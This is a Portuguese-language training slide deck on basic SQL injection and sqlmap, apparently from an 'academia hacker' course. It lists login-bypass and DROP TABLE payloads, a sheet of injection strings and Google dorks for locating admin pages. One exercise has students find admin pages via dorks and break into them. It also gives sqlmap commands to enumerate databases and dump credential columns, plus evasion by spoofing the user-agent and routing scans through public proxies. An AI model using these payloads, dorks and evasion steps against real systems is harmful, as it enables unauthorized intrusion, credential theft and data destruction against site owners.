0% acharam este documento útil (0 voto)
110 visualizações17 páginas

SQLi Básico

O documento fornece uma introdução sobre SQL Injection, apresentando tópicos como SQLi básico, erros de código comuns, dorks para encontrar sites vulneráveis, exemplos de SQLi, strings comuns utilizadas e o uso da ferramenta SQLMap para automatizar a detecção e exploração de vulnerabilidades.

Enviado por

michele51306
Direitos autorais
© © All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
0% acharam este documento útil (0 voto)
110 visualizações17 páginas

SQLi Básico

O documento fornece uma introdução sobre SQL Injection, apresentando tópicos como SQLi básico, erros de código comuns, dorks para encontrar sites vulneráveis, exemplos de SQLi, strings comuns utilizadas e o uso da ferramenta SQLMap para automatizar a detecção e exploração de vulnerabilidades.

Enviado por

michele51306
Direitos autorais
© © All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
Você está na página 1/ 17

O que temos pra hoje?

www.eSecurity.com.br

Temas de Hoje:
• SQL Injection Básico
• Entendendo SQLi
• SQLi Básico
• Erros de Código
• Principais Dorks
• Exemplos
• SQLi Strings
• Exercício
• SQL Injection vs Blind SQL
• SQL Injection com SQLMap
• Principais opções
• Coletando informações com SQLMap
• Evasão com SQLMap
SQLi Básico
www.eSecurity.com.br
SQLi Básico - Definição
www.eSecurity.com.br

A Injeção de SQL, mais conhecida através do termo americano SQL Injection, é


um tipo de ameaça de segurança que se aproveita de falhas em sistemas que
interagem com bases de dados via SQL. A injeção de SQL ocorre quando o
atacante consegue inserir uma série de instruções SQL dentro de uma consulta
(query) através da manipulação das entradas de dados de uma aplicação

FrontEnd BackEnd
SQLi Básico – Erro de Código
www.eSecurity.com.br

Também é considerado SQL Injection o fato de enganar o form com uma falha de
programação.

Vamos ao exemplo de um código de validação de usuário:


var query = "SELECT * FROM usuarios WHERE login = '" + login +"' AND senha = '" + senha + "'" ;

Podemos também causar um erro para testar a aplicação apenas adicionando um caracter
SELECT * FROM usuarios WHERE login = ' ' ' AND password = '[password]' ;

Vamos supor que adicionamos aos campos de usuário e senha o seguinte item.

' or 1=1 --

SELECT * FROM usuarios WHERE login = ' ' or 1=1- - ' AND senha = '[senha]';
SQLi Básico - Dorks
www.eSecurity.com.br

Você pode procurar páginas com vulnerabilidades através de Dorks.

Seguem alguns exemplos:


allinurl:/webadmin/default.asp
allinurl:/menu_admin/default.asp
allinurl:/menu_admin/index.asp
allinurl:/menu_admin/login.asp
allinurl:/noticias/admin/
allinurl:/news/admin/
allinurl:/cadastro/admin/
allinurl:/portal/admin/
allinurl:/site/admin/
allinurl:/home/admin.asp
allinurl:/home/admin/index.asp
allinurl:/home/admin/default.asp
allinurl:/home/admin/login.asp
allinurl:/web/admin/index.asp
SQLi Básico - Exemplos
www.eSecurity.com.br

Parâmetros informados
SQL esperado SQL resultante Comentário
Campo_login Campo_senha

Se o usuário já souber o login


SELECT * FROM tabela_usuarios WHERE (no caso, login do usuário alan)
alan’;-- login = 'marcos';--' AND senha = então consegue logar sem
'campo_senha' senha, já que os caracteres “--“
são comentários no SQL

Neste caso, não é necessário


saber nem o login nem a senha,
SELECT * FROM tabela_usuarios WHERE pois a condição “OR 1=1”
SELECT * FROM ' OR 1=1 -- login = '' OR 1=1--' AND senha = sempre vai ser satisfeita e
tabela_usuarios WHERE 'campo_senha' todos os comandos posteriores
login = 'campo_login' AND são comentados pelos
senha = 'campo_senha' carecteres “--”

Este caso é muito parecido com


o primeiro mas um comando
para apagar uma tabela é
123'; DROP SELECT * FROM tabela_usuarios WHERE
executado antes do
TABLE login = '123'; DROP TABLE produtos;-- '
comentário. Na verdade aqui o
produtos; -- AND senha = 'campo_senha'
objetivo era somente apagar a
tabela, por isso foi passado um
login qualquer.
SQLi Básico - Strings
www.eSecurity.com.br

Seguem alguns exemplos de Strings para SQLi


b’ or ‘ 1=’ “ou” x”=”x
‘ or ’1 ‘) ou (‘ x’='x
‘ or ‘| ‘ ou 1=1 –
‘ or ‘a’='a “ou 1=1 –
‘ or ”=’ ou 1=1 –
‘ or 1=1– ‘ ou a=a –
‘) or (‘a’='a “ou” a”=”a
‘ or ’1′=’1 ‘) ou (‘ a’='a
admin ‘ – - “) ou (“a”=”a
‘ ou 0=0 – hi “ou” a”=”a
“ou 0=0 – hi “ou 1=1 –
ou 0=0 – hi ‘ ou 1=1 –
‘ ou 0=0 # hi ‘ ou ‘ a’='a
“ou 0=0 # hi ‘) ou (‘ a’='a
ou 0=0 # hi”) ou (“a”=”a
‘ ou ‘ x’='x ‘ or ‘x’='x
SQLi Básico - Exercício
www.eSecurity.com.br

Exercício

Localize páginas de administração utilizando as técnicas do Google Dorks


e invada-os utilizando SQL Injection Básico
SQL Injection x Blind SQL
www.eSecurity.com.br

Qual a diferença entre SQL Injection e Blind Sql Injection?


SQLi Intermediário - SQLMap
www.eSecurity.com.br

SQLMAP

String: sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" –[opções]


SQLi Intermediário - SQLMap
www.eSecurity.com.br

“Sqlmap é uma ferramenta open source para penetration test que automatiza o
processo de detecção e exploiting de vulnerabilidades a Sqli Injection, é escrita
em python e tem suporte tanto GNU linux ou windows.”

O sqlmap além de oferecer as funções para detectar e explorar as


vulnerabilidades a SQLI, ele consegue também tentar “dominar” o sistema de
banco de dados se for possível.
SQLi Intermediário - SQLMap
www.eSecurity.com.br

Seguem alguns parâmetros de uso do SQLMap:

--help
Mostra as opções do SQLMAP

--current-db
Apresenta o banco de dados atual
Exemplo: sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db

--banner
Pega o Banner do DBMS
Exemplo: sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -b

--dbs
Lista os bancos de dados do DBMS
Exemplo: sqlmap -url "http://testphp.vulnweb.com/listproducts.php?cat=1" –dbs

--tables
Apresenta as tabelas do banco selecionado
Exemplo: sqlmap -url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

DBMS: “Database Management System”, sistema gerenciador de banco de dados


SQLi Intermediário - SQLMap
www.eSecurity.com.br
--columns
Apresenta as colunas da tabela selecionada
Exemplo: sqlmap --u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --columns

--dump
Extrai as informações da colunas selecionadas
Exemplo: sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C
'uname,pass' –dump

--current-user
Extrai informações sobre usuário conectado no banco de dados corrente
Exemplo: sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –curent-user

--is-dba
Verifica se o usuário atual é administrador do Banco
Exemplo: sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba

--users
Enumera todos os usuários
Exemplo: sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --users

--search
Varre o banco atrás do que você procura, pode ser um banco, tabela ou coluna
Exemplo: sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --search –C ‘pass’
SQLi Intermediário – Evasão SQLMap

www.eSecurity.com.br

O agente atual é sqlmap/1.0-dev (http://sqlmap.org), tentaremos altera-lo para


Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Ubuntu/20100914 Firefox/3.6.10
para simular um acesso tradicional

sqlmap -u "http://198.199.108.78/sql_injection/index.php?search=" --dbs --user-


agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Ubuntu/20100914
Firefox/3.6.10"
SQLi Intermediário – Evasão SQLMap

www.eSecurity.com.br

Usaremos desta vez um proxy publico, escolheremos o site HideMyAss

Acesse o site http://hidemyass.com/proxy-list/ e escolha um proxy

Agora devemos efetuar o scan com o proxy selecionado

sqlmap -u "http://198.199.108.78/sql_injection/index.php?search=" --dbs --user-


agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Ubuntu/20100914
Firefox/3.6.10“ --proxy="http://189.108.118.194:3128"
printf ("\Chega por hoje\n");
www.eSecurity.com.br

www.eSecurity.com.br

E-mail: [email protected]

Twitter: @esecuritybr e @desafiohacker

Skype: desafiohacker

Fanpage: www.facebook.com/academiahacker

Você também pode gostar